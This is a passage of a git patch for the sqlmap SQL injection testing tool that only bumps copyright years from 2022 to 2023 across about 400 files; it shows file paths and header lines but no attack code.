From 05293e01a4012d9ba09ec66343aa0c14f7a492f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Jan 2023 23:24:59 +0100 Subject: [PATCH 01/43] Year and version bump --- LICENSE | 2 +- data/txt/common-columns.txt | 2 +- data/txt/common-files.txt | 2 +- data/txt/common-outputs.txt | 2 +- data/txt/common-tables.txt | 2 +- data/txt/keywords.txt | 2 +- data/txt/user-agents.txt | 2 +- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/junk.sh | 2 +- extra/shutils/modernize.sh | 2 +- extra/shutils/pycodestyle.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/shutils/pylint.sh | 2 +- extra/shutils/pypi.sh | 4 ++-- extra/vulnserver/__init__.py | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/gui.py | 4 ++-- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 4 ++-- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/httpd.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/safe2bin.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/altibase/__init__.py | 2 +- plugins/dbms/altibase/connector.py | 2 +- plugins/dbms/altibase/enumeration.py | 2 +- plugins/dbms/altibase/filesystem.py | 2 +- plugins/dbms/altibase/fingerprint.py | 2 +- plugins/dbms/altibase/syntax.py | 2 +- plugins/dbms/altibase/takeover.py | 2 +- plugins/dbms/cache/__init__.py | 2 +- plugins/dbms/cache/connector.py | 2 +- plugins/dbms/cache/enumeration.py | 2 +- plugins/dbms/cache/filesystem.py | 2 +- plugins/dbms/cache/fingerprint.py | 2 +- plugins/dbms/cache/syntax.py | 2 +- plugins/dbms/cache/takeover.py | 2 +- plugins/dbms/cratedb/__init__.py | 2 +- plugins/dbms/cratedb/connector.py | 2 +- plugins/dbms/cratedb/enumeration.py | 2 +- plugins/dbms/cratedb/filesystem.py | 2 +- plugins/dbms/cratedb/fingerprint.py | 2 +- plugins/dbms/cratedb/syntax.py | 2 +- plugins/dbms/cratedb/takeover.py | 2 +- plugins/dbms/cubrid/__init__.py | 2 +- plugins/dbms/cubrid/connector.py | 2 +- plugins/dbms/cubrid/enumeration.py | 2 +- plugins/dbms/cubrid/filesystem.py | 2 +- plugins/dbms/cubrid/fingerprint.py | 2 +- plugins/dbms/cubrid/syntax.py | 2 +- plugins/dbms/cubrid/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/derby/__init__.py | 2 +- plugins/dbms/derby/connector.py | 2 +- plugins/dbms/derby/enumeration.py | 2 +- plugins/dbms/derby/filesystem.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- plugins/dbms/derby/syntax.py | 2 +- plugins/dbms/derby/takeover.py | 2 +- plugins/dbms/extremedb/__init__.py | 2 +- plugins/dbms/extremedb/connector.py | 2 +- plugins/dbms/extremedb/enumeration.py | 2 +- plugins/dbms/extremedb/filesystem.py | 2 +- plugins/dbms/extremedb/fingerprint.py | 2 +- plugins/dbms/extremedb/syntax.py | 2 +- plugins/dbms/extremedb/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/frontbase/__init__.py | 2 +- plugins/dbms/frontbase/connector.py | 2 +- plugins/dbms/frontbase/enumeration.py | 2 +- plugins/dbms/frontbase/filesystem.py | 2 +- plugins/dbms/frontbase/fingerprint.py | 2 +- plugins/dbms/frontbase/syntax.py | 2 +- plugins/dbms/frontbase/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mckoi/__init__.py | 2 +- plugins/dbms/mckoi/connector.py | 2 +- plugins/dbms/mckoi/enumeration.py | 2 +- plugins/dbms/mckoi/filesystem.py | 2 +- plugins/dbms/mckoi/fingerprint.py | 2 +- plugins/dbms/mckoi/syntax.py | 2 +- plugins/dbms/mckoi/takeover.py | 2 +- plugins/dbms/mimersql/__init__.py | 2 +- plugins/dbms/mimersql/connector.py | 2 +- plugins/dbms/mimersql/enumeration.py | 2 +- plugins/dbms/mimersql/filesystem.py | 2 +- plugins/dbms/mimersql/fingerprint.py | 2 +- plugins/dbms/mimersql/syntax.py | 2 +- plugins/dbms/mimersql/takeover.py | 2 +- plugins/dbms/monetdb/__init__.py | 2 +- plugins/dbms/monetdb/connector.py | 2 +- plugins/dbms/monetdb/enumeration.py | 2 +- plugins/dbms/monetdb/filesystem.py | 2 +- plugins/dbms/monetdb/fingerprint.py | 2 +- plugins/dbms/monetdb/syntax.py | 2 +- plugins/dbms/monetdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/presto/__init__.py | 2 +- plugins/dbms/presto/connector.py | 2 +- plugins/dbms/presto/enumeration.py | 2 +- plugins/dbms/presto/filesystem.py | 2 +- plugins/dbms/presto/fingerprint.py | 2 +- plugins/dbms/presto/syntax.py | 2 +- plugins/dbms/presto/takeover.py | 2 +- plugins/dbms/raima/__init__.py | 2 +- plugins/dbms/raima/connector.py | 2 +- plugins/dbms/raima/enumeration.py | 2 +- plugins/dbms/raima/filesystem.py | 2 +- plugins/dbms/raima/fingerprint.py | 2 +- plugins/dbms/raima/syntax.py | 2 +- plugins/dbms/raima/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/dbms/vertica/__init__.py | 2 +- plugins/dbms/vertica/connector.py | 2 +- plugins/dbms/vertica/enumeration.py | 2 +- plugins/dbms/vertica/filesystem.py | 2 +- plugins/dbms/vertica/fingerprint.py | 2 +- plugins/dbms/vertica/syntax.py | 2 +- plugins/dbms/vertica/takeover.py | 2 +- plugins/dbms/virtuoso/__init__.py | 2 +- plugins/dbms/virtuoso/connector.py | 2 +- plugins/dbms/virtuoso/enumeration.py | 2 +- plugins/dbms/virtuoso/filesystem.py | 2 +- plugins/dbms/virtuoso/fingerprint.py | 2 +- plugins/dbms/virtuoso/syntax.py | 2 +- plugins/dbms/virtuoso/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/0eunion.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/binary.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/decentities.py | 2 +- tamper/dunion.py | 2 +- tamper/equaltolike.py | 2 +- tamper/equaltorlike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/hex2char.py | 2 +- tamper/hexentities.py | 2 +- tamper/htmlencode.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/misunion.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/ord2ascii.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/schemasplit.py | 2 +- tamper/scientific.py | 2 +- tamper/sleep2getlock.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- 402 files changed, 405 insertions(+), 405 deletions(-) diff --git a/LICENSE b/LICENSE index a46c0da58..172de6054 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2022 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2023 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index f3679cf89..b2e00b345 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission id diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index f20610d9d..8fbbe0ebd 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # CTFs diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 7ac22206d..60bdf5edb 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 21ab6eb48..8776e2e88 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission users diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index b0976fde5..f8c81387c 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index d18904fca..02f520019 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera diff --git a/extra/__init__.py b/extra/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index b5542c3b8..ad9328340 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index ddaf90303..77cef7c42 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 6832980b8..c8e0c9733 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 39bf14fec..bcc7440af 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index bf48851a0..9a75fbf2f 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 085909ea0..0278b85dc 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index 375dab751..e3bfc70b9 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh index 1bda50f5e..e0b5352d8 100755 --- a/extra/shutils/modernize.sh +++ b/extra/shutils/modernize.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # sudo pip install modernize diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 137ea73ba..34d995cde 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 9e45e61ef..6f964e747 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index eb4640542..9d64d9893 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh index 2dc13c073..b8898be2d 100755 --- a/extra/shutils/pylint.sh +++ b/extra/shutils/pylint.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index c2b735ebb..4aed1e72d 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 37d7df3c3..76f9c2376 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 40f9b78d8..1aeb0bcc4 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 997abb3dc..b0d5fd6b5 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 929a7c982..2ea81d9c2 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 1341fd44c..227a2ceb7 100644 --- 